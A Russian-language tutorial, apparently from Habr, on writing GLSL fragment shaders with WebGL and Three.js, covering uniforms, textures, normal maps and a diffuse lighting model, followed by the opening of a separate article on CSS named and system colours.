Итак, всё готово, пора добавить шейдеры!
Добавляем шейдеры
-----------------
На этом этапе мы можем начать думать о процессе реализации шейдеров. Скорее всего, похожая ситуация будет у вас вне зависимости от платформы: всё настроено, на экране отрисовываются объекты, так как теперь получить доступ к видеопроцессору?
#### Шаг 1: загрузка кода GLSL
Для создания сцены мы используем JavaScript. В других ситуациях может использоваться C++, Lua или любой другой язык. Вне зависимости от этого шейдеры пишутся на специальном *языке шейдеров*. Язык шейдеров OpenGL называется *GLSL* (Open**GL** **S**hading **L**anguage). Поскольку мы используем WebGL, основанный на OpenGL, то будем писать на GLSL.
Как и где пишется код GLSL? Основное правило: код GLSL загружается в качестве `строки`. Затем её можно передать для парсинга и выполнения в видеопроцессоре.
В JavaScript это можно сделать простой передачей кода внутри переменной, вот так:
```
var shaderCode = "Здесь код шейдера;"
```
Это сработает, но поскольку в JavaScript нет простых способов создания многострочных строк, это для нас не очень удобно. Большинство программистов пишет код шейдеров в текстовых файлах и даёт им расширение `.glsl` или `.frag` (сокращение от *fragment shader*), а затем просто загружает файл.
Это возможно, но мы в этом туториале мы будем писать код шейдеров внутри нового тега `</code> и загружать его в JavaScript оттуда, чтобы весь код находился в одном файле.<br/>
<br/>
Создадим новый тег <code><script></code> в HTML, который выглядит вот так:<br/>
<br/>
<pre><code class="javascript"><script id="fragShader" type="shader-code">;`
Мы присвоим ему ID `fragShader`, чтобы позже можно было получить к нему доступ. Тип `shader-code` — это на самом деле несуществующий, выдуманный тип скрипта. (Можно выбрать для него любое другое имя). Мы делаем так затем, чтобы код не выполнялся и не отображался в HTML.
Теперь давайте вставим очень простой шейдер, возвращающий белый цвет.
```
void main() {
gl\_FragColor = vec4(1.0,1.0,1.0,1.0);
}
```
(Компоненты `vec4` в этом случае соответствуют значению RGBA, ка объяснялось в начале туториала.)
Теперь нам нужно загрузить этот код. Мы сделаем это простой строкой на JavaScript, находящей HTML-элемент и получающей внутренний текст:
```
var shaderCode = document.getElementById("fragShader").innerHTML;
```
Он должен находится под кодом куба.
Не забывайте: только загруженный как строка код будет парситься как действительный код GLSL (то есть `void main() {...}`. Остальное — это просто boilerplate HTML.)
Можете [создать форк и отредактировать проект](http://codepen.io/tutsplus/pen/BNwzxP) на CodePen.
#### Шаг 2: применение шейдера
Способы применения шейдера могут отличаться, они зависят от используемой платформы и её интерфейса с видеопроцессором. С этим никогда не возникает трудностей, и быстрым поиском можно выяснить, [как создать объект и применить к нему шейдеры с помощью Three.js](http://threejs.org/docs/#Reference/Materials/ShaderMaterial).
Нам нужно создать специальный материал и передать его коду шейдера. В качестве объекта шейдера мы создадим плоскость (но можем использовать и куб). Вот что нужно сделать:
```
// Создаём объект, к которому нужно применить шейдер
var material = new THREE.ShaderMaterial({fragmentShader:shaderCode})
var geometry = new THREE.PlaneGeometry( 10, 10 );
var sprite = new THREE.Mesh( geometry,material );
scene.add( sprite );
sprite.position.z = -1;// Перемещаем его назад, чтобы его было видно
```
На этом этапе вы должны видеть белый экран:
Можете [создать форк и отредактировать проект](http://codepen.io/tutsplus/pen/warWjE) на CodePen.
Если заменить цвет в коде шейдера на любой другой и обновить страницу, то вы увидите новый цвет.
**Задача:** Сможете ли вы сделать одну часть экрана красной, а другую синей? (Если не получится, то на следующем шаге я дам подсказку!)
#### Шаг 3: передача данных
На этот момент мы уже можем делать с шейдером всё, что угодно, но пока не знаем, что *можно* сделать. У нас есть только встроенная возможность определения положения пикселя `gl_FragCoord` и, если вы помните, это положение нормализовано. Нам как минимум нужно знать размеры экрана.
Для передачи данных шейдеру нам нужно отправить то, что мы назвали *uniform*-переменной. Для этого мы создаём объект `uniforms` и добавляем к нему наши переменные. Вот синтаксис передачи разрешения экрана:
```
var uniforms = {};
uniforms.resolution = {type:'v2',value:new THREE.Vector2(window.innerWidth,window.innerHeight)};
```
Каждая uniform-переменная дожна иметь `тип` и `значение`. В данном случае это двухмерный вектор, координатами которого являются ширина и высота окна. В таблице ниже (взятой из [документации Three.js](http://threejs.org/docs/#Reference/Materials/ShaderMaterial)) представлены все типы данных, которые можно отправлять, вместе с их идентификаторами:
| Строка типа Uniform | Тип GLSL | Тип JavaScript |
| --- | --- | --- |
| `'i', '1i'` | `int` | `Number` |
| `'f', '1f'` | `float` | `Number` |
| `'v2'` | `vec2` | `THREE.Vector2` |
| `'v3'` | `vec3` | `THREE.Vector3` |
| `'c'` | `vec3` | `THREE.Color` |
| `'v4'` | `vec4` | `THREE.Vector4` |
| `'m3'` | `mat3` | `THREE.Matrix3` |
| `'m4'` | `mat4` | `THREE.Matrix4` |
| `'t'` | `sampler2D` | `THREE.Texture` |
| `'t'` | `samplerCube` | `THREE.CubeTexture` |
Чтобы отправить его шейдеру, изменим формирователь экземпляров `ShaderMaterial`, добавив туда вектор:
```
var material = new THREE.ShaderMaterial({uniforms:uniforms,fragmentShader:shaderCode})
```
Мы ещё не закончили! Теперь, когда шейдер получает эту переменную, нам нужно с ней что-то сделать. Давайте создадим градиент, как мы делали это раньше: нормализовав координату и используя её для создания значения цвета.
Изменим код шейдера следующим образом:
```
uniform vec2 resolution;// Здесь сначала должны быть объявлены uniform-переменные
void main() {
// Теперь можно нормализовать координату
vec2 pos = gl_FragCoord.xy / resolution.xy;
// И создать градиент!
gl_FragColor = vec4(1.0,pos.x,pos.y,1.0);
}
```
В результате у нас получится красивый градиент!
Можете [создать форк и отредактировать проект](http://codepen.io/tutsplus/pen/bdoeMm) на CodePen.
**Задача:** Попробуйте разделить экран на четыре равных части разных цветов. Примерно вот так:
#### Шаг 4: обновление данных
Хорошо, что мы научились отправлять данные в шейдер, но что если нам нужно их обновить? Например, если открыть [предыдущий пример в новой вкладке](http://codepen.io/tutsplus/pen/bdoeMm), а потом изменить размер окна, то градиент не обновится, потому что использует прежние размеры экрана.
Для обновления переменных обычно просто заново отправляют uniform-переменную. Однако в Three.js достаточно просто обновить объект `uniforms` в функции `render`, повторно отправлять данные шейдеру не требуется.
Вот как выглядит функция рендеринга после внесения изменений:
```
function render() {
cube.rotation.y += 0.02;
uniforms.resolution.value.x = window.innerWidth;
uniforms.resolution.value.y = window.innerHeight;
requestAnimationFrame( render );
renderer.render( scene, camera );
}
```
Если [открыть новый CodePen](http://codepen.io/tutsplus/pen/MwEeBN) и изменить размер окна, то вы увидите, как изменяются цвета, несмотря на то, что изначальный размер окна просмотра остался тем же). Проще всего это заметить, посмотрев на цвета в углах и убедившись, что они не меняются.
**Примечание:** Отправка данных в видеопроцессор обычно является затратной задачей. Отправка нескольких переменных за один кадр вполне нормальна, но при передаче сотен переменных за кадр частота смены кадров значительно снизится. Кажется, что такое маловероятно, но если на экране есть несколько сотен объектов, и ко всем ним применено освещение с разными свойствами, то всё быстро выходит из под контроля. Позже мы узнаем про оптимизацию шейдеров.
**Задача:** Попробуйте постепенно изменять цвета.
#### Шаг 5: работа с текстурами
Вне зависимости от способа загрузки и формата текстур на всех платформах они передаются в шейдер как uniform-переменные.
Небольшое примечание о загрузке файлов в JavaScript: можно без проблем загружать изображения с внешнего URL (именно так мы и будем делать). Однако если вы захотите загрузить изображение локально, то возникнут проблемы с разрешениями, потому что JavaScript обычно не может и не должен иметь доступа к файлам в системе. Простейший способ решения — [запустить локальный Python-сервер](https://github.com/mrdoob/three.js/wiki/How-to-run-things-locally#run-local-server), что на самом деле проще, чем кажется.
В Three.js есть небольшая удобная функция для загрузки изображения как текстуры:
```
THREE.ImageUtils.crossOrigin = '';// Позволяет загружать внешнее изображение
var tex = THREE.ImageUtils.loadTexture( "https://tutsplus.github.io/Beginners-Guide-to-Shaders/Part2/SIPI_Jelly_Beans.jpg" );
```
Первая строка задаётся только один раз. В неё можно вставить любой URL изображения.
Затем нам нужно добавить текстуру к объекту `uniforms`.
```
uniforms.texture = {type:'t',value:tex};
```
И, наконец, нам нужно объявить uniform-переменную в коде шейдера, а потом отрисовать её тем же способом, как мы делали ранее — с помощью функции `texture2D`:
```
uniform vec2 resolution;
uniform sampler2D texture;
void main() {
vec2 pos = gl_FragCoord.xy / resolution.xy;
gl_FragColor = texture2D(texture,pos);
}
```
На экране должно появиться растянутое изображение конфет:
(Это изображение является стандартным тестовым изображением в компьютерной графике, оно взято у [Института обработки сигналов и изображений (SIPI)](http://sipi.usc.edu/database/database.php?volume=misc&image=7#top) (поэтому на нём показана аббревиатура IPI) Университета Южной Калифорнии. Думаю, оно нам подходит, ведь мы как раз изучаем графические шейдеры!)
**Задача:** Попробуйте постепенно менять цвета текстуры с полного цвета на градации серого.
#### Дополнительный шаг: применяем шейдеры к другим объектам
В созданной нами плоскости нет ничего особенного. Мы могли применить шейдер и к кубу. На самом деле можно просто заменить строку с геометрией плоскости:
```
var geometry = new THREE.PlaneGeometry( 10, 10 );
```
на:
```
var geometry = new THREE.BoxGeometry( 1, 1, 1 );
```
Вуаля, конфеты нарисованы на кубе:
Вы можете возразить: *«Постойте, но ведь это не похоже на правильную проекцию текстуры на куб!»* Вы правы: если посмотреть на шейдер, то видно, что мы на самом деле говорим ему «размести все пиксели этого изображения на экране». То, что они находятся на кубе, просто означает, что все пиксели за его пределами отбрасываются.
Если бы мы хотели применить текстуру так, чтобы она выглядела физически нарисованной на кубе, то наша работа напоминала бы изобретение заново 3D-движка (что было бы довольно глупо, учитывая, что мы уже используем 3D-движок и [мы можем просто попросить его](http://codepen.io/tutsplus/pen/mJmjog) отрисовать текстуру отдельно на каждой стороне). В этом туториале мы используем шейдеры для того, что иначе достичь было бы невозможно, так что мы не будем вдаваться в такие подробности. (Если вы жаждете узнать больше, на Udacity есть [отличный курс по основам 3D-графики](https://www.udacity.com/course/interactive-3d-graphics--cs291)!)
Следующие шаги
--------------
На этом этапе мы уже можем делать всё, что сделали в ShaderToy, однако теперь мы способны использовать любые текстуры и любые объекты, на любой платформе.
Имея всю эту свободу, мы можем сделать что-нибудь вроде системы освещения, с реалистичными тенями и источниками света. Этим мы ниже и займёмся. Кроме того, я расскажу о техниках оптимизации шейдеров.
Освоившись с основами шейдеров мы на практике применим мощь видеопроцессора для создания реалистичного динамического освещения.
Начиная с этого момента мы будем рассматривать общие концепции графических шейдеров без привязки к конкретной платформе. (Для удобства во всех примерах кода по-прежнему будет использоваться JavaScript/WebGL.)
Для начала найдите подходящий вам способ выполнения шейдеров. (JavaScript/WebGL — это простейший способ, но я рекомендую вам поэкспериментировать со своей любимой платформой!)
Цели
----
К концу этого туториала вы не только начнёте хорошо ориентироваться в системах освещения, но и с нуля создадите собственную.
Вот как будет выглядеть конечный результат (нажмите мышью для включения света):
Многие игровые движки имеют уже готовые системы освещения, но понимание того, как они сделаны и как создавать собственные, даёт вам больше возможностей придать игре соответствующий ей уникальный вид. Кроме того, шейдерные эффекты не обязательно должны быть только «косметическими», они открывают двери потрясающим новым игровым механикам!
Отличным примером этого является [Chroma](http://iamclaw.com/?page_id=15). Игрок может бегать по динамическим теням, создаваемым в реальном времени:
Приступаем к работе: наша исходная сцена
----------------------------------------
Мы многое пропустим в первоначальной настройке, потому что она подробно рассмотрена выше. Начнём с простого фрагментного шейдера, рендерящего нашу текстуру:
Здесь не происходит ничего сложного. Код на JavaScript задаёт сцену и отправляет шейдеру текстуру для рендеринга и размеры экрана.
```
var uniforms = {
tex : {type:'t',value:texture},// Текстура
res : {type: 'v2',value:new THREE.Vector2(window.innerWidth,window.innerHeight)}// Хранит разрешение
}
```
В коде на GLSL мы объявляем и используем эти uniform-переменные:
```
uniform sampler2D tex;
uniform vec2 res;
void main() {
vec2 pixel = gl_FragCoord.xy / res.xy;
vec4 color = texture2D(tex,pixel);
gl_FragColor = color;
}
```
Прежде чем использовать координаты пикслей для отрисовки текстуры, мы их нормализуем.
Просто чтобы убедиться, что вы всё понимаете, вот вам небольшое задание на разогрев:
**Задача:** Отрендерите текстуру, не изменяя соотношения её сторон (Попробуйте сделать это самостоятельно, мы рассмотрим решение ниже.)
Довольно очевидно, почему текстура растянута, но если это непонятно, то вот подсказка: посмотрите на строку, в которой мы нормализуем координаты:
```
vec2 pixel = gl_FragCoord.xy / res.xy;
```
Мы делим `vec2` на `vec2`, что аналогично делению каждого отдельного компонента. Другими словами, написанное выше эквивалентно следующему:
```
vec2 pixel = vec2(0.0,0.0);
pixel.x = gl_FragCoord.x / res.x;
pixel.y = gl_FragCoord.y / res.y;
```
Мы делим x и y на разные числа (на ширину и высоту экрана). Естественно, что изображение будет растянутым.
Что произойдёт, если мы разделим x и y `gl_FragCoord` только на x `res`? Или только на y?
Ради простоты дальше в туториале мы оставим нормализованный код таким же, то неплохо бы разобраться, что здесь происходит.
### Шаг 1: добавление источника света
Прежде чем создать что-то интересное, нам нужен источник света. «Источник света» — это просто точка, передаваемая шейдеру. Для этой точки мы создадим новую uniform:
```
var uniforms = {
//Добавляем переменную источника света
light: {type:'v3', value:new THREE.Vector3()},
tex : {type:'t',value:texture},// Текстура
res : {type: 'v2',value:new THREE.Vector2(window.innerWidth,window.innerHeight)}// Хранит разрешение
}
```
Мы создали вектор с тремя измерениями, потому что мы хотим использовать `x` и `y` в качестве *положения* источника на экране, а `z` — в качестве *радиуса*.
Давайте присвоим в JavaScript значения нашему источнику света:
```
uniforms.light.value.z = 0.2;// Радиус
```
Мы будем использовать радиус как процент от размеров экрана, поэтому `0.2` будет составлять 20% экрана. (В этом выборе нет ничего особенного. Мы могли бы задать размер в пикселях. Это число ничего не значит, пока мы не начнём с ним делать что-нибудь в коде GLSL.)
Чтобы получить положение мыши, нужно просто добавить получатель события (event listener):
```
document.onmousemove = function(event){
// Обновляем источник света, чтобы он следовал за мышью
uniforms.light.value.x = event.clientX;
uniforms.light.value.y = event.clientY;
}
```
Давайте теперь напишем код шейдера, чтобы воспользоваться этой координатой источника света. Начнём с простой задачи: *сделаем так, чтобы каждый пиксель в пределах радиуса источника света был видимым, а остальные были чёрными*.
На GLSL это может выглядеть примерно так:
```
uniform sampler2D tex;
uniform vec2 res;
uniform vec3 light;// Не забывайте объявлять здесь uniform!
void main() {
vec2 pixel = gl_FragCoord.xy / res.xy;
vec4 color = texture2D(tex,pixel);
// Расстояние от текущего пикселя до источника света
float dist = distance(gl_FragCoord.xy,light.xy);
if(light.z * res.x > dist){// Проверяем, находится ли пиксель внутри радиуса
gl_FragColor = color;
} else {
gl_FragColor = vec4(0.0);
}
}
```
Здесь мы сделали следующее:
* Объявили uniform-переменную источника света.
* Использовали встроенную функцию [distance](http://www.shaderific.com/glsl-functions/#distance) для вычисления расстояния между источником света и текущим пикселем.
* Проверили, больше ли это расстояние (в пикселях) 20% ширины экрана; если это так, то возвращаем цвет пикселя, в противном случае возвращаем чёрный.
Ой-ёй! Источник света следует за мышью как-то странно.
**Задача:** Сможете это исправить? (Попробуйте снова разобраться самостоятельно, прежде чем мы решим эту задачу ниже.)
#### Исправление движения источника света
Возможно, вы помните, что ось Y здесь перевёрнута. Вы можете поторопиться просто ввести:
```
light.y = res.y - light.y;
```
Это математически верно, но если поступить так, то шейдер не скомпилируется! Проблема в том, что *uniform-переменные невозмжоно изменять*. Чтобы понять, почему, нужно помнить, что *этот код выполняется для каждого отдельного пикселя параллельно*. Представьте, что все процессорные ядра попытаются изменить единственную переменную одновременно. Плохая ситуация!
Мы можем исправить ошибку, создав новую переменную вместо uniform. Или ещё лучше — мы можем просто сделать этот шаг *до* передачи данных в шейдер:
```
uniforms.light.value.y = window.innerHeight - event.clientY;
```
Теперь мы успешно определили видимый радиус нашей сцены. Однако он выглядит слишком резким…
#### Добавление градиента
Вместо простой обрезки до чёрного цвета за пределами радиуса давайте попробуем создать плавный градиент у краёв. Можно сделать это с помощью расстояния, которое мы уже вычисляем.
Вместо присвоения всем пикселям в пределах радиуса цвета текстуры:
```
gl_FragColor = color;
```
мы можем умножать его на коэффициент расстояния:
```
gl_FragColor = color * (1.0 - dist/(light.z * res.x));
```
Это сработает, потому что `dist` — это расстояние в пикселях между текущим пикселем и источником света. `(light.z * res.x)` — это длина радиуса. Поэтому когда мы смотрим на пиксель ровно под источником света, `dist` равно `0`, то есть мы умножаем `color` на `1` и получаем полный цвет.
*На этом рисунке `dist` вычисляется для произвольного пикселя. `dist` меняется в зависимости от того, в каком пикселе мы находимся, а значение `light.z * res.x` постоянно.*
Если мы посмотрим на пиксель на границе круга, то `dist` равно длине радиуса, то есть в результате мы умножаем `color` на `0` и получаем чёрный цвет.
### Шаг 2: добавляем глубину
Пока мы не сделали ничего особенного, просто добавили нашей текстуре градиентную маску. Всё по-прежнему выглядит *плоским*. Чтобы понять, как это исправить, давайте посмотрим, что сейчас делает система освещения, и сравним с тем, что она *должна* делать.
В представленном выше случае стоит ожидать, что точка **A** будет освещена сильнее всего, потому что источник света находится прямо над ней, а **B** и **C** будут темнее, потому что на боковых сторонах практически нет лучей.
Однако вот что видит наша система освещения сейчас:
Все точки обрабатываются одинаково, потому что единственный фактор, который учитывает система — это *расстояние на плоскости xy*. Вы можете подумать, что нам всего лишь нужна высота каждой их этих точке, но это не совсем так. Чтобы понять, почему, рассмотрите этот рисунок:
**A** находится наверху фигуры, а **B** и **C** — по бокам. **D** — это ещё одна точка на земле. Мы видим, что **A** и **D** должны быть самыми яркими, причём **D** немного темнее, потому что свет достигает её под углом. С другой стороны, **B** и **C** должны быть очень тёмными, потому что до них почти не доходит свет, ведь они направлены от источника света.
Не так важна высота, как *направление, в котором повёрнута поверхность*. Оно называется *[нормалью](https://ru.wikipedia.org/wiki/%D0%9D%D0%BE%D1%80%D0%BC%D0%B0%D0%BB%D1%8C) поверхности*.
Но как передать эту информацию шейдеру? Мы ведь наверно не можем передавать огромный массив из тысяч чисел для каждого отдельного пикселя? На самом деле, мы так и делаем! Только мы называем это не *массивом*, а *текстурой*.
Именно это делает карта нормалей: она просто является изображением, в котором значения `r`, `g` и `b` каждого пикселя представляют не цвет, а направление.
На рисунке выше показана простая карта нормалей. Если воспользоваться инструментом «пипетка» мы увидим, что направление по умолчанию («плоское») представлено цветом `(0.5, 0.5, 1)` (синий цвет, занимающий бо́льшую часть изображения). Это направление, указывающее прямо вверх. Значения x, y и z присваиваются значениям r, g и b.
Наклонная сторона справа повёрнута вправо, поэтому её значение x выше. Значение x также является значением красного, именно поэтому сторона выглядит немного красноватой или розоватой. То же самое относится ко всем остальным сторонам.
Карта выглядит забавно, потому что не предназначена для рендеринга, она просто кодирует значения нормалей этих поверхностей.
Давайте загрузим эту простую карту нормалей для теста:
```
var normalURL = "https://raw.githubusercontent.com/tutsplus/Beginners-Guide-to-Shaders/master/Part3/normal_maps/normal_test.jpg"
var normal = THREE.ImageUtils.loadTexture(normalURL);
```
И добавим её как одну из uniform-переменных:
```
var uniforms = {
norm: {type:'t', value:normal},
//.. делаем всё остальное
}
```
Чтобы проверить, что мы загрузили её правильно, давайте попробуем отрендерить её вместо текстуры, изменив код на GLSL (помните, что мы на этом этапе используем просто фоновую текстуру, а не карту нормалей):
### Шаг 3: применение модели освещения
Теперь, когда у нас есть данные нормалей поверхностей, нам нужно *реализовать модель освещения*. Иными словами, надо сообщить поверхности, как учесть все имеющиеся факторы для вычисления окончательной яркости.
Простейшей для реализации моделью является [модель Фонга](http://content.gpwiki.org/index.php/D3DBook:(Lighting)_Blinn-Phong). Вот как она работает: пусть у нас есть поверхность с данными о нормалях:
Мы просто вычисляем угол между источником света и нормалью поверхности:
Чем меньше угол, тем ярче пиксель.
Это значит, что когда пиксель находится непосредственно под источником света, где разность углов равна 0, он будет самым ярким. Самые тёмные пиксели будут указывать в том же направлении, что и источник света (это будет похоже на заднюю часть объекта).
Давайте реализуем эту модель.
Поскольку для проверки мы используем простую карту нормалей, давайте зальём текстуру сплошным цветом, чтобы чётко понимать, всё ли у нас получается.
Поэтому вместо:
```
vec4 color = texture2D(...);
```
Давайте сделаем сплошной белый цвет (или любой другой цвет):
```
vec4 color = vec4(1.0); // белый цвет
```
Это сокращение GLSL для создания `vec4` со всеми компонентами, равными `1.0`.
Вот как выглядит алгоритм:
1. Получаем вектор нормали текущего пикселя.
2. Получаем вектор направления света.
3. Нормализуем векторы.
4. Вычисляем угол между ними.
5. Умножаем конечный цвет на этот коэффициент.
#### 1. Получаем вектор нормали текущего пикселя
Нам нужно знать, в каком направлении «смотрит» поверхность, чтобы можно было вычислить количество света, попадающего на этот пиксель. Это направление хранится в карте нормалей, поэтому получение вектора нормали заключается в получении цвета текущего пикселя в текстуре нормалей:
```
vec3 NormalVector = texture2D(norm,pixel).xyz;
```
Поскольку альфа-значение ничего не обозначает на карте нормалей, нам требуются только первые три компонента.
#### 2. Получаем вектор направления света
Теперь нам нужно знать, в каком направлении указывает *свет*. Можно представить, что поверхность освещения — это фонарик, направленный на экран в точке расположения курсора мыши. Поэтому можно вычислить вектор направления света просто с помощью расстояния между источником света и пикселем:
```
vec3 LightVector = vec3(light.x - gl_FragCoord.x,light.y - gl_FragCoord.y,60.0);
```
Он должен иметь и координату Z (чтобы можно было вычислить угол относительно трёхмергого вектора нормали поверхности). С этим значением можно поэкспериментировать. Вы заметите, что чем оно меньше, тем резче контраст между яркими и тёмными областями. Можно представить, что это высота фонарика над сценой: чем он дальше, тем равномернее распространяется свет.
#### 3. Нормализуем векторы
Теперь нам нужно нормализировать:
```
NormalVector = normalize(NormalVector);
LightVector = normalize(LightVector);
```
Чтобы оба вектора имели длину `1.0`, мы воспользуемся встроенной функцией [normalize](http://www.shaderific.com/glsl-functions/#normalize). Это необходимо, потому что мы хотим вычислить угол с помощью [скалярного произведения](https://ru.wikipedia.org/wiki/%D0%A1%D0%BA%D0%B0%D0%BB%D1%8F%D1%80%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B8%D0%B7%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5). Если вы не очень понимаете, как оно работает, то стоит немного изучить линейную алгебру. Для наших целей нам нужно знать только, что *скалярное произведение возвращает косинус угла между векторами одинаковой длины*.
#### 4. Вычисляем угол между векторами
Давайте сделаем это с помощью встроенной функции [dot](http://www.shaderific.com/glsl-functions/#dotproduct):
```
float diffuse = dot( NormalVector, LightVector );
```
Я назвал переменную *diffuse* потому что этот термин используется в модели освещения по Фонгу, ведь она определяет количество света, достигающее поверхности сцены.
#### 5. Умножаем конечный цвет на этот коэффициент
Вот и всё. Теперь умножим цвет на значение. Я создал переменную `distanceFactor`, чтобы наше уравнение легче читалось:
```
float distanceFactor = (1.0 - dist/(light.z * res.x));
gl_FragColor = color * diffuse * distanceFactor;
```
И мы получили работающую модель освещения! (Попробуйте увеличить радиус источника света, чтобы эффект был сильнее заметен.)
Хм, кажется, что-то не так. Похоже, что источник как-то наклонён.
Давайте ещё раз посмотрим на наши вычисления. У нас есть вектор света:
```
vec3 LightVector = vec3(light.x - gl_FragCoord.x,light.y - gl_FragCoord.y,60.0);
```
Что, как мы знаем, даст нам `(0, 0, 60)`, когда источник света находится над текущим пикселем. После нормализации он будет равен `(0, 0, 1)`.
Не забывайте, что для максимальной яркости нам нужна нормаль, направленная строго вверх, к источнику света. Нормаль поверхности по умолчанию, направленная вверх, равна `(0.5, 0.5, 1)`.
**Задача:** Понимаете ли вы, в чём заключается решение? Сможете реализовать его?
Проблема в том, что *в текстуре в качестве значений цвета нельзя хранить отрицательные значения*. Нельзя обозначит направленный влево вектор как `(-0.5, 0, 0)`. Поэтому при создании карт нормалей нужно прибавлять ко всему `0.5`. (Или, выражаясь более обще, нужно смещать систему координат). Нужно понимать это, чтобы знать, что перед использованием карты нужно вычесть из каждого пикселя `0.5`.
Вот как демо выглядит после вычитания `0.5` из координат x и y вектора нормали:
Нам нужно внести ещё одно исправление. Помните, что скалярное произведение возвращает *косинус* угла. Это значит, что выходные данные ограничены интервалом от -1 до 1. Значения цвета не могут быть отрицательными, и поскольку WebGL автоматически отбрасывает отрицательные значения, в некоторых случаях поведение будет странным. Для решения этой проблемы можно использовать встроенную функцию [max](http://www.shaderific.com/glsl-functions/#maximum) и превратить это:
```
float diffuse = dot( NormalVector, LightVector );
```
в это:
```
float diffuse = max(dot( NormalVector, LightVector ),0.0);
```
И у нас получилась работающая модель освещения!
Можно поставить на фон каменную текстуру, а настоящую карту нормалей взять в [репозитории этого туториала на GitHub](https://github.com/tutsplus/Beginners-Guide-to-Shaders/) (а именно [здесь](https://raw.githubusercontent.com/tutsplus/Beginners-Guide-to-Shaders/master/Part3/normal_maps/blocks_normal.JPG)):
Нам нужно только изменить одну строку на JavaScript, с:
```
var normalURL = "https://raw.githubusercontent.com/tutsplus/Beginners-Guide-to-Shaders/master/Part3/normal_maps/normal_test.jpg"
```
на:
```
var normalURL = "https://raw.githubusercontent.com/tutsplus/Beginners-Guide-to-Shaders/master/Part3/normal_maps/blocks_normal.JPG"
```
И одну строку на GLSL:
```
vec4 color = vec4(1.0);// белый цвет
```
Нам больше не нужен сплошной белый цвет, мы загрузим настоящую текстуру, вот так:
```
vec4 color = texture2D(tex,pixel);
```
И вот окончательный результат:
Советы по оптимизации
---------------------
Видеопроцессор выполняет свою работу очень эффективно, но очень важно знать, что может её замедлять. Вот несколько советов:
### Ветвление
В шейдерах обычно желательно по возможности избегать *ветвления*. Хотя большое количество конструкций `if` редко бывает проблемой в любом коде для ЦП, в шейдерах для видеопроцессора они могут стать узким местом.
Чтобы понять, почему, стоит снова вспомнить, что *код на GLSL выполняется для каждого пикселя на экране параллельно*. Графическая карта может выполнить множество оптимизаций, исходя из того, что для всех пикселей нужно выполнять одинаковые операции. Однако если в коде будет куча `if`, то некоторые оптимизации выполнить не удастся, потому что теперь для разных пикселей выполняется разных код. Будут ли конструкции `if` замедлять выполнение, или нет, зависит от реализации на конкретном оборудовании и в графической карте, но неплохо помнить об этом, если вы хотите ускорить шейдер.
### Отложенный рендеринг
Это очень полезная концепция при работе с освещением. Представьте, что нам нужны два источника освещения, или три, или десяток. Нам придётся вычислять угол между каждой нормалью поверхности и каждой точкой источника света. В результате шейдер будет выполняться с черепашьей скоростью. *Отложенный рендеринг* — это способ оптимизации такого процесса разбиением работы шейдера на несколько проходов. [Вот статья](http://gamedevelopment.tutsplus.com/articles/forward-rendering-vs-deferred-rendering--gamedev-12342), в которой подробно объяснено, что это значит. Я процитирую важную для нас часть:
> Освещение — это основная причина выбора того или иного пути. В стандартном прямолинейном конвейере рендеринга вычисления освещения должны выполняться для каждой вершины и каждого фрагмента видимой сцены ***для каждого источника света в сцене***.
Например, вместо передачи массива точек источников света, можно отрисовать их на текстур в виде кругов, цвет каждого пикселя которых будет представлять интенсивность освещения. Таким образом мы сможем вычислять комбинированный эффект всех источников освещения в сцене, а потом просто передать его конечной текстуре (или буферу, как её иногда называют) для вычисления освещения.
Способность разделить работу на несколько проходов — это очень полезная техника при создании шейдеров. Например, она используется для ускорения шейдера при вычислении эффекта размывки, а также в шейдерах жидкостей/дыма.
Следующие шаги
--------------
Теперь, когда вы получили работающий шейдер освещения, вот с чем ещё можно поэкспериментировать:
* Попробуйте изменять высоту (значение `z`) вектора освещения, чтобы понаблюдать за его воздействием
* Поэкспериментируйте с интенсивностью освещения. (Можно сделать это, умножая значение diffuse на коэффициент.)
* Добавьте в уравнение вычисления освещения значение *ambient* (окружающего освещения). (Это значит, что мы присваиваем минимальное значение, то есть даже в тёмных областях цвет не будет полностью чёрным. Такое освещение позволяет сделать сцену реалистичной, потому что объекты в реальной жизни всегда освещены, даже если на них не падает прямой свет)
* Попробуйте реализовать шейдеры из этого [туториала по WebGL](http://gamedevelopment.tutsplus.com/tutorials/building-shaders-with-babylonjs-and-webgl-theory-and-examples--cms-24146). Он сделан в Babylon.js, а не в Three.js, но вы можете читать только части, относящиеся к GLSL. В частности, вас могут заинтересовать сэл-шейдинг и затенение по Фонгу.
* Вдохновляйтесь демо из [GLSL Sandbox](http://glslsandbox.com/) и [ShaderToy](https://www.shadertoy.com/)
Ссылки
------
Каменная текстура и карта нормалей для этого туториала взяты с OpenGameArt: <http://opengameart.org/content/50-free-textures-4-normalmaps>.
Существует множество программ, помогающих в создании карт нормалей. Если вам интересно узнать больше о создании собственных карт нормалей, то вам может помочь [эта статья](http://gamedevelopment.tutsplus.com/articles/gamedev-glossary-what-is-a-normal-map--gamedev-3893). | https://habr.com/ru/post/333002/ | null | ru | null |
# CSS: системные цвета, шрифты и кое-что ещё
Думаю, все мы, в целом, знакомы с таким способом описания CSS-цветов:
```
color: OldLace;
background: rebeccapurple;
```
Полагаю, их обычно называют «[именованными цветами](https://css-tricks.com/snippets/css/named-colors-and-hex-equivalents/)».
[](https://habr.com/ru/company/ruvds/blog/567146/)
Но конкретные цвета, одни и те же в любой ситуации, к которым можно обращаться по именам, это — далеко не единственный вид особых CSS-цветов. Есть ещё одна разновидность подобных цветов. Их имена связаны с цветами уже не так однозначно. Речь идёт о так называемых «системных цветах». Джим Нильсен опубликовал потрясающий [материал](https://blog.jim-nielsen.com/2021/css-system-colors/) на эту тему. Вот, что он пишет:
*Мне нужна возможность выразить следующее: «Эй, браузер! Используй для выпадающего списка тот же тёмный цвет (или тот же светлый цвет, если страница оформлена с помощью светлой темы), который ты применяешь для фонового цвета документа». Мне нужен доступ к чему-то наподобие переменной, которая указывает именно на тот «тёмный», который использует браузер.*
